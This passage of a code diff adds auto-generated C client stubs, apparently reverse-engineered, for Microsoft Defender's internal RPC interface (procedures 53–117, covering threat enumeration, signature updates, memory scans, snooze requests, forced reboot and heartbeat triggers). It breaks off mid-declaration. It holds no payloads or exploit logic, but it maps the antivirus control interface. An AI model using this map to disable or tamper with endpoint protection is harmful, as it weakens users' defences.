CLIENT_CALL_RETURN _RetVal; + + _RetVal = NdrClientCall3( + ( PMIDL_STUBLESS_PROXY_INFO )&DefaultIfName_ProxyInfo, + 53, + 0, + arg_0, + arg_1, + arg_2, + arg_3); + return ( long )_RetVal.Simple; + +} + + +long Proc54_ServerMpRpcSignatureThreatClose( + /* [context_handle][out][in] */ void **arg_1, + /* [out] */ error_status_t *arg_2) +{ + + CLIENT_CALL_RETURN _RetVal; + + _RetVal = NdrClientCall3( + ( PMIDL_STUBLESS_PROXY_INFO )&DefaultIfName_ProxyInfo, + 54, + 0, + arg_1, + arg_2); + return ( long )_RetVal.Simple; + +} + + +long Proc55_ServerMpRpcGetSampleInfo( + /* [in] */ handle_t IDL_handle, + /* [in] */ long arg_1, + /* [in] */ struct Struct_16_t *arg_2, + /* [ref][out] */ struct Struct_1740_t **arg_3, + /* [out] */ error_status_t *arg_4) +{ + + CLIENT_CALL_RETURN _RetVal; + + _RetVal = NdrClientCall3( + ( PMIDL_STUBLESS_PROXY_INFO )&DefaultIfName_ProxyInfo, + 55, + 0, + IDL_handle, + arg_1, + arg_2, + arg_3, + arg_4); + return ( long )_RetVal.Simple; + +} + + +long Proc56_ServerMpRpcQueryScansWithSamples( + /* [in] */ handle_t IDL_handle, + /* [in] */ long arg_1, + /* [out] */ long *arg_2, + /* [size_is][size_is][ref][out] */ struct Struct_16_t **arg_3, + /* [out] */ error_status_t *arg_4) +{ + + CLIENT_CALL_RETURN _RetVal; + + _RetVal = NdrClientCall3( + ( PMIDL_STUBLESS_PROXY_INFO )&DefaultIfName_ProxyInfo, + 56, + 0, + IDL_handle, + arg_1, + arg_2, + arg_3, + arg_4); + return ( long )_RetVal.Simple; + +} + + +long Proc57_ServerMpRpcDropScansWithSamples( + /* [in] */ handle_t IDL_handle, + /* [in] */ long arg_1, + /* [in] */ long arg_2, + /* [size_is][in] */ struct Struct_16_t *arg_3, + /* [out] */ error_status_t *arg_4) +{ + + CLIENT_CALL_RETURN _RetVal; + + _RetVal = NdrClientCall3( + ( PMIDL_STUBLESS_PROXY_INFO )&DefaultIfName_ProxyInfo, + 57, + 0, + IDL_handle, + arg_1, + arg_2, + arg_3, + arg_4); + return ( long )_RetVal.Simple; + +} + + +long Proc58_ServerMpRpcSpynetQueueCreate( + /* [in] */ struct Struct_16_t *arg_1, + /* [in] */ long arg_2, + /* [out] */ struct Struct_16_t *arg_3, + /* [context_handle][out] */ void **arg_4, + /* [out] */ error_status_t *arg_5) +{ + + CLIENT_CALL_RETURN _RetVal; + + _RetVal = NdrClientCall3( + ( PMIDL_STUBLESS_PROXY_INFO )&DefaultIfName_ProxyInfo, + 58, + 0, + arg_1, + arg_2, + arg_3, + arg_4, + arg_5); + return ( long )_RetVal.Simple; + +} + + +long Proc59_ServerMpRpcSpynetQueueQueryNotification( + /* [context_handle][in] */ void *arg_0, + /* [context_handle][out] */ void **arg_1, + /* [out] */ long *arg_2, + /* [out] */ error_status_t *arg_3) +{ + + CLIENT_CALL_RETURN _RetVal; + + _RetVal = NdrClientCall3( + ( PMIDL_STUBLESS_PROXY_INFO )&DefaultIfName_ProxyInfo, + 59, + 0, + arg_0, + arg_1, + arg_2, + arg_3); + return ( long )_RetVal.Simple; + +} + + +long Proc60_ServerMpRpcSpynetQueueClose( + /* [context_handle][out][in] */ void **arg_1, + /* [out] */ error_status_t *arg_2) +{ + + CLIENT_CALL_RETURN _RetVal; + + _RetVal = NdrClientCall3( + ( PMIDL_STUBLESS_PROXY_INFO )&DefaultIfName_ProxyInfo, + 60, + 0, + arg_1, + arg_2); + return ( long )_RetVal.Simple; + +} + + +long Proc61_ServerMpRpcSpynetGenerateReport( + /* [context_handle][in] */ void *arg_0, + /* [out] */ long *arg_1, + /* [size_is][size_is][ref][out] */ unsigned char **arg_2, + /* [out] */ long *arg_3, + /* [out] */ struct Struct_110_t *arg_4, + /* [out] */ struct Struct_16_t *arg_5, + /* [out] */ error_status_t *arg_6) +{ + + CLIENT_CALL_RETURN _RetVal; + + _RetVal = NdrClientCall3( + ( PMIDL_STUBLESS_PROXY_INFO )&DefaultIfName_ProxyInfo, + 61, + 0, + arg_0, + arg_1, + arg_2, + arg_3, + arg_4, + arg_5, + arg_6); + return ( long )_RetVal.Simple; + +} + + +long Proc62_ServerMpRpcSenseGenerateReport( + /* [context_handle][in] */ void *arg_0, + /* [out] */ long *arg_1, + /* [size_is][size_is][ref][out] */ unsigned char **arg_2, + /* [out] */ error_status_t *arg_3) +{ + + CLIENT_CALL_RETURN _RetVal; + + _RetVal = NdrClientCall3( + ( PMIDL_STUBLESS_PROXY_INFO )&DefaultIfName_ProxyInfo, + 62, + 0, + arg_0, + arg_1, + arg_2, + arg_3); + return ( long )_RetVal.Simple; + +} + + +long Proc63_ServerMpRpcSpynetOnResponse( + /* [context_handle][in] */ void *arg_0, + /* [in] */ struct Struct_1872_t *arg_1, + /* [in] */ long arg_2, + /* [size_is][unique][in] */ unsigned char *arg_3, + /* [in] */ long arg_4, + /* [out] */ long *arg_5, + /* [size_is][size_is][ref][out] */ unsigned char **arg_6, + /* [out] */ error_status_t *arg_7) +{ + + CLIENT_CALL_RETURN _RetVal; + + _RetVal = NdrClientCall3( + ( PMIDL_STUBLESS_PROXY_INFO )&DefaultIfName_ProxyInfo, + 63, + 0, + arg_0, + arg_1, + arg_2, + arg_3, + arg_4, + arg_5, + arg_6, + arg_7); + return ( long )_RetVal.Simple; + +} + + +long Proc64_ServerMpRpcSpynetGetStartTime( + /* [context_handle][in] */ void *arg_0, + /* [out] */ struct Struct_28_t *arg_1, + /* [out] */ error_status_t *arg_2) +{ + + CLIENT_CALL_RETURN _RetVal; + + _RetVal = NdrClientCall3( + ( PMIDL_STUBLESS_PROXY_INFO )&DefaultIfName_ProxyInfo, + 64, + 0, + arg_0, + arg_1, + arg_2); + return ( long )_RetVal.Simple; + +} + + +long Proc65_ServerMpRpcSpynetUpdateSpynetMetrics( + /* [context_handle][in] */ void *arg_0, + /* [in] */ struct Struct_1920_t *arg_1, + /* [in] */ long arg_2, + /* [out] */ error_status_t *arg_3) +{ + + CLIENT_CALL_RETURN _RetVal; + + _RetVal = NdrClientCall3( + ( PMIDL_STUBLESS_PROXY_INFO )&DefaultIfName_ProxyInfo, + 65, + 0, + arg_0, + arg_1, + arg_2, + arg_3); + return ( long )_RetVal.Simple; + +} + + +long Proc66_ServerMpRpcSpynetClose( + /* [context_handle][out][in] */ void **arg_1, + /* [out] */ error_status_t *arg_2) +{ + + CLIENT_CALL_RETURN _RetVal; + + _RetVal = NdrClientCall3( + ( PMIDL_STUBLESS_PROXY_INFO )&DefaultIfName_ProxyInfo, + 66, + 0, + arg_1, + arg_2); + return ( long )_RetVal.Simple; + +} + + +long Proc67_ServerMpRpcSigUpdServiceOpen( + /* [out] */ struct Struct_16_t *arg_1, + /* [context_handle][out] */ void **arg_2, + /* [out] */ error_status_t *arg_3) +{ + + CLIENT_CALL_RETURN _RetVal; + + _RetVal = NdrClientCall3( + ( PMIDL_STUBLESS_PROXY_INFO )&DefaultIfName_ProxyInfo, + 67, + 0, + arg_1, + arg_2, + arg_3); + return ( long )_RetVal.Simple; + +} + + +long Proc68_ServerMpRpcSigUpdServiceQueryNotification( + /* [context_handle][in] */ void *arg_0, + /* [ref][out] */ struct Struct_1978_t **arg_1, + /* [out] */ error_status_t *arg_2) +{ + + CLIENT_CALL_RETURN _RetVal; + + _RetVal = NdrClientCall3( + ( PMIDL_STUBLESS_PROXY_INFO )&DefaultIfName_ProxyInfo, + 68, + 0, + arg_0, + arg_1, + arg_2); + return ( long )_RetVal.Simple; + +} + + +long Proc69_ServerMpRpcSigUpdServiceSendProgressNotification( + /* [context_handle][in] */ void *arg_0, + /* [in] */ struct Struct_970_t *arg_1, + /* [out] */ error_status_t *arg_2) +{ + + CLIENT_CALL_RETURN _RetVal; + + _RetVal = NdrClientCall3( + ( PMIDL_STUBLESS_PROXY_INFO )&DefaultIfName_ProxyInfo, + 69, + 0, + arg_0, + arg_1, + arg_2); + return ( long )_RetVal.Simple; + +} + + +long Proc70_ServerMpRpcSigUpdServiceClose( + /* [context_handle][out][in] */ void **arg_1, + /* [out] */ error_status_t *arg_2) +{ + + CLIENT_CALL_RETURN _RetVal; + + _RetVal = NdrClientCall3( + ( PMIDL_STUBLESS_PROXY_INFO )&DefaultIfName_ProxyInfo, + 70, + 0, + arg_1, + arg_2); + return ( long )_RetVal.Simple; + +} + + +long Proc71_ServerMpRpcSigUpdClientOpen( + /* [in] */ long arg_1, + /* [out] */ struct Struct_16_t *arg_2, + /* [context_handle][out] */ void **arg_3, + /* [out] */ error_status_t *arg_4) +{ + + CLIENT_CALL_RETURN _RetVal; + + _RetVal = NdrClientCall3( + ( PMIDL_STUBLESS_PROXY_INFO )&DefaultIfName_ProxyInfo, + 71, + 0, + arg_1, + arg_2, + arg_3, + arg_4); + return ( long )_RetVal.Simple; + +} + + +long Proc72_ServerMpRpcSigUpdClientQueryNotification( + /* [context_handle][in] */ void *arg_0, + /* [ref][out] */ struct Struct_970_t **arg_1, + /* [out] */ error_status_t *arg_2) +{ + + CLIENT_CALL_RETURN _RetVal; + + _RetVal = NdrClientCall3( + ( PMIDL_STUBLESS_PROXY_INFO )&DefaultIfName_ProxyInfo, + 72, + 0, + arg_0, + arg_1, + arg_2); + return ( long )_RetVal.Simple; + +} + + +long Proc73_ServerMpRpcSigUpdClientClose( + /* [context_handle][out][in] */ void **arg_1, + /* [out] */ error_status_t *arg_2) +{ + + CLIENT_CALL_RETURN _RetVal; + + _RetVal = NdrClientCall3( + ( PMIDL_STUBLESS_PROXY_INFO )&DefaultIfName_ProxyInfo, + 73, + 0, + arg_1, + arg_2); + return ( long )_RetVal.Simple; + +} + + +long Proc74_ServerMpRpcSigUpdControl( + /* [in] */ handle_t IDL_handle, + /* [in] */ struct Struct_1978_t *arg_1, + /* [out] */ error_status_t *arg_2) +{ + + CLIENT_CALL_RETURN _RetVal; + + _RetVal = NdrClientCall3( + ( PMIDL_STUBLESS_PROXY_INFO )&DefaultIfName_ProxyInfo, + 74, + 0, + IDL_handle, + arg_1, + arg_2); + return ( long )_RetVal.Simple; + +} + + +long Proc75_ServerMpRpcIdleNotificationOpen( + /* [string][in] */ wchar_t *arg_1, + /* [context_handle][out] */ void **arg_2, + /* [out] */ error_status_t *arg_3) +{ + + CLIENT_CALL_RETURN _RetVal; + + _RetVal = NdrClientCall3( + ( PMIDL_STUBLESS_PROXY_INFO )&DefaultIfName_ProxyInfo, + 75, + 0, + arg_1, + arg_2, + arg_3); + return ( long )_RetVal.Simple; + +} + + +long Proc76_ServerMpRpcIdleNotificationClose( + /* [context_handle][out][in] */ void **arg_1, + /* [out] */ error_status_t *arg_2) +{ + + CLIENT_CALL_RETURN _RetVal; + + _RetVal = NdrClientCall3( + ( PMIDL_STUBLESS_PROXY_INFO )&DefaultIfName_ProxyInfo, + 76, + 0, + arg_1, + arg_2); + return ( long )_RetVal.Simple; + +} + + +long Proc77_ServerMpRpcNotifyIdle( + /* [context_handle][in] */ void *arg_0, + /* [in] */ long arg_1, + /* [out] */ error_status_t *arg_2) +{ + + CLIENT_CALL_RETURN _RetVal; + + _RetVal = NdrClientCall3( + ( PMIDL_STUBLESS_PROXY_INFO )&DefaultIfName_ProxyInfo, + 77, + 0, + arg_0, + arg_1, + arg_2); + return ( long )_RetVal.Simple; + +} + + +long Proc78_ServerMpRpcIdleCheckTaskCompletion( + /* [context_handle][in] */ void *arg_0, + /* [out] */ error_status_t *arg_1) +{ + + CLIENT_CALL_RETURN _RetVal; + + _RetVal = NdrClientCall3( + ( PMIDL_STUBLESS_PROXY_INFO )&DefaultIfName_ProxyInfo, + 78, + 0, + arg_0, + arg_1); + return ( long )_RetVal.Simple; + +} + + +long Proc79_ServerMpRpcThreatOpen( + /* [in] */ long arg_1, + /* [in] */ long arg_2, + /* [in] */ long arg_3, + /* [context_handle][out] */ void **arg_4, + /* [out] */ error_status_t *arg_5) +{ + + CLIENT_CALL_RETURN _RetVal; + + _RetVal = NdrClientCall3( + ( PMIDL_STUBLESS_PROXY_INFO )&DefaultIfName_ProxyInfo, + 79, + 0, + arg_1, + arg_2, + arg_3, + arg_4, + arg_5); + return ( long )_RetVal.Simple; + +} + + +long Proc80_ServerMpRpcThreatEnumerate( + /* [context_handle][in] */ void *arg_0, + /* [ref][out] */ struct Struct_1232_t **arg_1, + /* [out] */ error_status_t *arg_2) +{ + + CLIENT_CALL_RETURN _RetVal; + + _RetVal = NdrClientCall3( + ( PMIDL_STUBLESS_PROXY_INFO )&DefaultIfName_ProxyInfo, + 80, + 0, + arg_0, + arg_1, + arg_2); + return ( long )_RetVal.Simple; + +} + + +long Proc81_ServerMpRpcThreatClose( + /* [context_handle][out][in] */ void **arg_1, + /* [out] */ error_status_t *arg_2) +{ + + CLIENT_CALL_RETURN _RetVal; + + _RetVal = NdrClientCall3( + ( PMIDL_STUBLESS_PROXY_INFO )&DefaultIfName_ProxyInfo, + 81, + 0, + arg_1, + arg_2); + return ( long )_RetVal.Simple; + +} + + +long Proc82_ServerMpRpcDbgThreatViewAction( + /* [in] */ handle_t IDL_handle, + /* [in] */ long arg_1, + /* [out] */ error_status_t *arg_2) +{ + + CLIENT_CALL_RETURN _RetVal; + + _RetVal = NdrClientCall3( + ( PMIDL_STUBLESS_PROXY_INFO )&DefaultIfName_ProxyInfo, + 82, + 0, + IDL_handle, + arg_1, + arg_2); + return ( long )_RetVal.Simple; + +} + + +long Proc83_ServerMpRpcForcedReboot( + /* [in] */ handle_t IDL_handle, + /* [in] */ long arg_1, + /* [out] */ error_status_t *arg_2) +{ + + CLIENT_CALL_RETURN _RetVal; + + _RetVal = NdrClientCall3( + ( PMIDL_STUBLESS_PROXY_INFO )&DefaultIfName_ProxyInfo, + 83, + 0, + IDL_handle, + arg_1, + arg_2); + return ( long )_RetVal.Simple; + +} + + +long Proc84_MpService__CMpMapsLatencyDataIterator__Clone( + /* [in] */ handle_t IDL_handle, + /* [out] */ error_status_t *arg_1) +{ + + CLIENT_CALL_RETURN _RetVal; + + _RetVal = NdrClientCall3( + ( PMIDL_STUBLESS_PROXY_INFO )&DefaultIfName_ProxyInfo, + 84, + 0, + IDL_handle, + arg_1); + return ( long )_RetVal.Simple; + +} + + +long Proc85_ServerMpRpcAddFastPathSignatureFile( + /* [in] */ handle_t IDL_handle, + /* [string][in] */ wchar_t *arg_1, + /* [ref][out] */ struct Struct_2070_t **arg_2, + /* [in] */ long arg_3, + /* [out] */ error_status_t *arg_4) +{ + + CLIENT_CALL_RETURN _RetVal; + + _RetVal = NdrClientCall3( + ( PMIDL_STUBLESS_PROXY_INFO )&DefaultIfName_ProxyInfo, + 85, + 0, + IDL_handle, + arg_1, + arg_2, + arg_3, + arg_4); + return ( long )_RetVal.Simple; + +} + + +long Proc86_ServerMpRpcRemoveFastPathSignatureFile( + /* [in] */ handle_t IDL_handle, + /* [string][in] */ wchar_t *arg_1, + /* [in] */ long arg_2, + /* [out] */ error_status_t *arg_3) +{ + + CLIENT_CALL_RETURN _RetVal; + + _RetVal = NdrClientCall3( + ( PMIDL_STUBLESS_PROXY_INFO )&DefaultIfName_ProxyInfo, + 86, + 0, + IDL_handle, + arg_1, + arg_2, + arg_3); + return ( long )_RetVal.Simple; + +} + + +long Proc87_ServerMpRpcDynamicSignatureOpen( + /* [in] */ long arg_1, + /* [context_handle][out] */ void **arg_2, + /* [out] */ error_status_t *arg_3) +{ + + CLIENT_CALL_RETURN _RetVal; + + _RetVal = NdrClientCall3( + ( PMIDL_STUBLESS_PROXY_INFO )&DefaultIfName_ProxyInfo, + 87, + 0, + arg_1, + arg_2, + arg_3); + return ( long )_RetVal.Simple; + +} + + +long Proc88_ServerMpRpcDynamicSignatureEnumerate( + /* [context_handle][in] */ void *arg_0, + /* [ref][out] */ struct Struct_2070_t **arg_1, + /* [out] */ error_status_t *arg_2) +{ + + CLIENT_CALL_RETURN _RetVal; + + _RetVal = NdrClientCall3( + ( PMIDL_STUBLESS_PROXY_INFO )&DefaultIfName_ProxyInfo, + 88, + 0, + arg_0, + arg_1, + arg_2); + return ( long )_RetVal.Simple; + +} + + +long Proc89_ServerMpRpcDynamicSignatureClose( + /* [context_handle][out][in] */ void **arg_1, + /* [out] */ error_status_t *arg_2) +{ + + CLIENT_CALL_RETURN _RetVal; + + _RetVal = NdrClientCall3( + ( PMIDL_STUBLESS_PROXY_INFO )&DefaultIfName_ProxyInfo, + 89, + 0, + arg_1, + arg_2); + return ( long )_RetVal.Simple; + +} + + +long Proc90_MpService__CMpMapsLatencyDataIterator__Clone( + /* [out] */ struct Struct_16_t *arg_1, + /* [context_handle][out] */ void **arg_2, + /* [out] */ error_status_t *arg_3) +{ + + CLIENT_CALL_RETURN _RetVal; + + _RetVal = NdrClientCall3( + ( PMIDL_STUBLESS_PROXY_INFO )&DefaultIfName_ProxyInfo, + 90, + 0, + arg_1, + arg_2, + arg_3); + return ( long )_RetVal.Simple; + +} + + +long Proc91_MpService__CMpMapsLatencyDataIterator__Clone( + /* [context_handle][in] */ void *arg_0, + /* [ref][out] */ struct Struct_970_t **arg_1, + /* [out] */ error_status_t *arg_2) +{ + + CLIENT_CALL_RETURN _RetVal; + + _RetVal = NdrClientCall3( + ( PMIDL_STUBLESS_PROXY_INFO )&DefaultIfName_ProxyInfo, + 91, + 0, + arg_0, + arg_1, + arg_2); + return ( long )_RetVal.Simple; + +} + + +long Proc92_MpService__CMpMapsLatencyDataIterator__Clone( + /* [context_handle][in] */ void *arg_0, + /* [out] */ error_status_t *arg_1) +{ + + CLIENT_CALL_RETURN _RetVal; + + _RetVal = NdrClientCall3( + ( PMIDL_STUBLESS_PROXY_INFO )&DefaultIfName_ProxyInfo, + 92, + 0, + arg_0, + arg_1); + return ( long )_RetVal.Simple; + +} + + +long Proc93_MpService__CMpMapsLatencyDataIterator__Clone( + /* [context_handle][out][in] */ void **arg_1, + /* [out] */ error_status_t *arg_2) +{ + + CLIENT_CALL_RETURN _RetVal; + + _RetVal = NdrClientCall3( + ( PMIDL_STUBLESS_PROXY_INFO )&DefaultIfName_ProxyInfo, + 93, + 0, + arg_1, + arg_2); + return ( long )_RetVal.Simple; + +} + + +long Proc94_ServerMpRpcMemoryScanStart( + /* [in] */ struct Struct_126_t *arg_1, + /* [in] */ long arg_2, + /* [in] */ struct Struct_2516_t *arg_3, + /* [out] */ struct Struct_16_t *arg_4, + /* [context_handle][out] */ void **arg_5, + /* [out] */ error_status_t *arg_6) +{ + + CLIENT_CALL_RETURN _RetVal; + + _RetVal = NdrClientCall3( + ( PMIDL_STUBLESS_PROXY_INFO )&DefaultIfName_ProxyInfo, + 94, + 0, + arg_1, + arg_2, + arg_3, + arg_4, + arg_5, + arg_6); + return ( long )_RetVal.Simple; + +} + + +long Proc95_ServerMpRpcMemoryScanQueryNotification( + /* [context_handle][in] */ void *arg_0, + /* [ref][out] */ struct Struct_970_t **arg_1, + /* [out] */ error_status_t *arg_2) +{ + + CLIENT_CALL_RETURN _RetVal; + + _RetVal = NdrClientCall3( + ( PMIDL_STUBLESS_PROXY_INFO )&DefaultIfName_ProxyInfo, + 95, + 0, + arg_0, + arg_1, + arg_2); + return ( long )_RetVal.Simple; + +} + + +long Proc96_ServerMpRpcMemoryScanClose( + /* [context_handle][out][in] */ void **arg_1, + /* [out] */ error_status_t *arg_2) +{ + + CLIENT_CALL_RETURN _RetVal; + + _RetVal = NdrClientCall3( + ( PMIDL_STUBLESS_PROXY_INFO )&DefaultIfName_ProxyInfo, + 96, + 0, + arg_1, + arg_2); + return ( long )_RetVal.Simple; + +} + + +long Proc97_ServerMpRpcFastMemoryScanOpen( + /* [in] */ struct Struct_126_t *arg_1, + /* [out] */ struct Struct_2558_t *arg_2, + /* [context_handle][out] */ void **arg_3, + /* [out] */ error_status_t *arg_4) +{ + + CLIENT_CALL_RETURN _RetVal; + + _RetVal = NdrClientCall3( + ( PMIDL_STUBLESS_PROXY_INFO )&DefaultIfName_ProxyInfo, + 97, + 0, + arg_1, + arg_2, + arg_3, + arg_4); + return ( long )_RetVal.Simple; + +} + + +long Proc98_ServerMpRpcFastMemoryScan( + /* [context_handle][in] */ void *arg_0, + /* [in] */ long arg_1, + /* [in] */ struct Struct_2442_t *arg_2, + /* [out] */ struct Struct_110_t *arg_3, + /* [out] */ error_status_t *arg_4) +{ + + CLIENT_CALL_RETURN _RetVal; + + _RetVal = NdrClientCall3( + ( PMIDL_STUBLESS_PROXY_INFO )&DefaultIfName_ProxyInfo, + 98, + 0, + arg_0, + arg_1, + arg_2, + arg_3, + arg_4); + return ( long )_RetVal.Simple; + +} + + +long Proc99_ServerMpRpcFastMemoryScanClose( + /* [context_handle][out][in] */ void **arg_0, + /* [out] */ error_status_t *arg_1) +{ + + CLIENT_CALL_RETURN _RetVal; + + _RetVal = NdrClientCall3( + ( PMIDL_STUBLESS_PROXY_INFO )&DefaultIfName_ProxyInfo, + 99, + 0, + arg_0, + arg_1); + return ( long )_RetVal.Simple; + +} + + +long Proc100_ServerMpRpcFastMemoryScanCacheInfo( + /* [in] */ handle_t IDL_handle, + /* [out] */ struct Struct_2558_t *arg_1, + /* [out] */ error_status_t *arg_2) +{ + + CLIENT_CALL_RETURN _RetVal; + + _RetVal = NdrClientCall3( + ( PMIDL_STUBLESS_PROXY_INFO )&DefaultIfName_ProxyInfo, + 100, + 0, + IDL_handle, + arg_1, + arg_2); + return ( long )_RetVal.Simple; + +} + + +long Proc101_ServerMpRpcAmsiCloseSession( + /* [in] */ handle_t IDL_handle, + /* [in] */ hyper arg_1, + /* [out] */ error_status_t *arg_2) +{ + + CLIENT_CALL_RETURN _RetVal; + + _RetVal = NdrClientCall3( + ( PMIDL_STUBLESS_PROXY_INFO )&DefaultIfName_ProxyInfo, + 101, + 0, + IDL_handle, + arg_1, + arg_2); + return ( long )_RetVal.Simple; + +} + + +long Proc102_ServerMpRpcTcgLogScan( + /* [in] */ handle_t IDL_handle, + /* [in] */ long arg_1, + /* [size_is][unique][in] */ unsigned char *arg_2, + /* [out] */ long *arg_3, + /* [out] */ long *arg_4, + /* [size_is][size_is][ref][out] */ unsigned char **arg_5, + /* [out] */ error_status_t *arg_6) +{ + + CLIENT_CALL_RETURN _RetVal; + + _RetVal = NdrClientCall3( + ( PMIDL_STUBLESS_PROXY_INFO )&DefaultIfName_ProxyInfo, + 102, + 0, + IDL_handle, + arg_1, + arg_2, + arg_3, + arg_4, + arg_5, + arg_6); + return ( long )_RetVal.Simple; + +} + + +long Proc103_ServerMpRpcTcgLogApplyExtResult( + /* [in] */ handle_t IDL_handle, + /* [in] */ long arg_1, + /* [size_is][unique][in] */ unsigned char *arg_2, + /* [out] */ error_status_t *arg_3) +{ + + CLIENT_CALL_RETURN _RetVal; + + _RetVal = NdrClientCall3( + ( PMIDL_STUBLESS_PROXY_INFO )&DefaultIfName_ProxyInfo, + 103, + 0, + IDL_handle, + arg_1, + arg_2, + arg_3); + return ( long )_RetVal.Simple; + +} + + +long Proc104_ServerMpRpcDbgSendCallbackNotification( + /* [in] */ handle_t IDL_handle, + /* [in] */ long arg_1, + /* [in] */ struct Struct_970_t *arg_2, + /* [out] */ error_status_t *arg_3) +{ + + CLIENT_CALL_RETURN _RetVal; + + _RetVal = NdrClientCall3( + ( PMIDL_STUBLESS_PROXY_INFO )&DefaultIfName_ProxyInfo, + 104, + 0, + IDL_handle, + arg_1, + arg_2, + arg_3); + return ( long )_RetVal.Simple; + +} + + +long Proc105_ServerMpRpcThreatRollup( + /* [in] */ handle_t IDL_handle, + /* [in] */ long arg_1, + /* [in] */ long arg_2, + /* [ref][out] */ struct Struct_2640_t **arg_3, + /* [out] */ error_status_t *arg_4) +{ + + CLIENT_CALL_RETURN _RetVal; + + _RetVal = NdrClientCall3( + ( PMIDL_STUBLESS_PROXY_INFO )&DefaultIfName_ProxyInfo, + 105, + 0, + IDL_handle, + arg_1, + arg_2, + arg_3, + arg_4); + return ( long )_RetVal.Simple; + +} + + +long Proc106_ServerMpDetectionQuery( + /* [context_handle][in] */ void *arg_0, + /* [in] */ struct Struct_16_t *arg_1, + /* [ref][out] */ struct Struct_1232_t **arg_2, + /* [out] */ error_status_t *arg_3) +{ + + CLIENT_CALL_RETURN _RetVal; + + _RetVal = NdrClientCall3( + ( PMIDL_STUBLESS_PROXY_INFO )&DefaultIfName_ProxyInfo, + 106, + 0, + arg_0, + arg_1, + arg_2, + arg_3); + return ( long )_RetVal.Simple; + +} + + +long Proc107_ServerMpRpcRequestSnooze( + /* [in] */ handle_t IDL_handle, + /* [in] */ long arg_1, + /* [out] */ error_status_t *arg_2) +{ + + CLIENT_CALL_RETURN _RetVal; + + _RetVal = NdrClientCall3( + ( PMIDL_STUBLESS_PROXY_INFO )&DefaultIfName_ProxyInfo, + 107, + 0, + IDL_handle, + arg_1, + arg_2); + return ( long )_RetVal.Simple; + +} + + +long Proc108_ServerMpRpcOfflineScanInstall( + /* [in] */ handle_t IDL_handle, + /* [out] */ error_status_t *arg_1) +{ + + CLIENT_CALL_RETURN _RetVal; + + _RetVal = NdrClientCall3( + ( PMIDL_STUBLESS_PROXY_INFO )&DefaultIfName_ProxyInfo, + 108, + 0, + IDL_handle, + arg_1); + return ( long )_RetVal.Simple; + +} + + +long Proc109_ServerMpRpcOfflineScanStatusQuery( + /* [in] */ handle_t IDL_handle, + /* [out] */ struct Struct_2680_t *arg_1, + /* [out] */ error_status_t *arg_2) +{ + + CLIENT_CALL_RETURN _RetVal; + + _RetVal = NdrClientCall3( + ( PMIDL_STUBLESS_PROXY_INFO )&DefaultIfName_ProxyInfo, + 109, + 0, + IDL_handle, + arg_1, + arg_2); + return ( long )_RetVal.Simple; + +} + + +long Proc110_ServerMpRpcTriggerHeartbeatOnDefenderDisable( + /* [in] */ handle_t IDL_handle, + /* [string][in] */ wchar_t *arg_1, + /* [out] */ error_status_t *arg_2) +{ + + CLIENT_CALL_RETURN _RetVal; + + _RetVal = NdrClientCall3( + ( PMIDL_STUBLESS_PROXY_INFO )&DefaultIfName_ProxyInfo, + 110, + 0, + IDL_handle, + arg_1, + arg_2); + return ( long )_RetVal.Simple; + +} + + +long Proc111_ServerMpRpcTriggerHeartbeatOnUninstall( + /* [in] */ handle_t IDL_handle, + /* [out] */ error_status_t *arg_1) +{ + + CLIENT_CALL_RETURN _RetVal; + + _RetVal = NdrClientCall3( + ( PMIDL_STUBLESS_PROXY_INFO )&DefaultIfName_ProxyInfo, + 111, + 0, + IDL_handle, + arg_1); + return ( long )_RetVal.Simple; + +} + + +long Proc112_ServerMpRpcTriggerErrorHeartbeatReport( + /* [in] */ handle_t IDL_handle, + /* [in] */ long arg_1, + /* [string][in] */ wchar_t *arg_2, + /* [string][in] */ wchar_t *arg_3, + /* [string][in] */ wchar_t *arg_4, + /* [out] */ error_status_t *arg_5) +{ + + CLIENT_CALL_RETURN _RetVal; + + _RetVal = NdrClientCall3( + ( PMIDL_STUBLESS_PROXY_INFO )&DefaultIfName_ProxyInfo, + 112, + 0, + IDL_handle, + arg_1, + arg_2, + arg_3, + arg_4, + arg_5); + return ( long )_RetVal.Simple; + +} + + +long Proc113_ServerMpRpcTriggerHeartbeatReport( + /* [in] */ handle_t IDL_handle, + /* [ref][out] */ struct Struct_1872_t **arg_1, + /* [out] */ error_status_t *arg_2) +{ + + CLIENT_CALL_RETURN _RetVal; + + _RetVal = NdrClientCall3( + ( PMIDL_STUBLESS_PROXY_INFO )&DefaultIfName_ProxyInfo, + 113, + 0, + IDL_handle, + arg_1, + arg_2); + return ( long )_RetVal.Simple; + +} + + +long Proc114_ServerMpRpcRemapCallistoDetections( + /* [in] */ handle_t IDL_handle, + /* [string][in] */ wchar_t *arg_1, + /* [in] */ long arg_2, + /* [size_is][in] */ wchar_t *arg_3, + /* [out] */ error_status_t *arg_4) +{ + + CLIENT_CALL_RETURN _RetVal; + + _RetVal = NdrClientCall3( + ( PMIDL_STUBLESS_PROXY_INFO )&DefaultIfName_ProxyInfo, + 114, + 0, + IDL_handle, + arg_1, + arg_2, + arg_3, + arg_4); + return ( long )_RetVal.Simple; + +} + + +long Proc115_ServerMpRpcGetCallistoDetections( + /* [in] */ handle_t IDL_handle, + /* [out] */ long *arg_1, + /* [size_is][size_is][ref][out] */ struct Struct_1232_t ***arg_2, + /* [out] */ error_status_t *arg_3) +{ + + CLIENT_CALL_RETURN _RetVal; + + _RetVal = NdrClientCall3( + ( PMIDL_STUBLESS_PROXY_INFO )&DefaultIfName_ProxyInfo, + 115, + 0, + IDL_handle, + arg_1, + arg_2, + arg_3); + return ( long )_RetVal.Simple; + +} + + +long Proc116_ServerMpRpcIsAdlFallbackDue( + /* [in] */ handle_t IDL_handle, + /* [string][in] */ wchar_t *arg_1, + /* [out] */ long *arg_2, + /* [out] */ error_status_t *arg_3) +{ + + CLIENT_CALL_RETURN _RetVal; + + _RetVal = NdrClientCall3( + ( PMIDL_STUBLESS_PROXY_INFO )&DefaultIfName_ProxyInfo, + 116, + 0, + IDL_handle, + arg_1, + arg_2, + arg_3); + return ( long )_RetVal.Simple; + +} + + +long Proc117_ServerMpRpcIsRtpAutoEnable( + /* [in] */ handle_t IDL_handle, + /* [out] */ long *arg_1, + /* [out] */ long *arg_2, + /* [out] */ long *arg_3, + /* [out] */ error_status_t *arg_4) +{ + + CLIENT_CALL_RETURN _RetVal; + + _RetVal = NdrClientCall3( + ( PMIDL_STUBLESS_PROXY_INFO )&DefaultIfName_ProxyInfo, + 117, + 0, + IDL_handle, + arg_1, + arg_2, + arg_3, + arg_4); + return ( long )_RetVal.Simple; + +} + + +long Proc118_ServerMpRpcEngineQueryConfigDword( + /* [in] */ handle_t IDL_handle, + 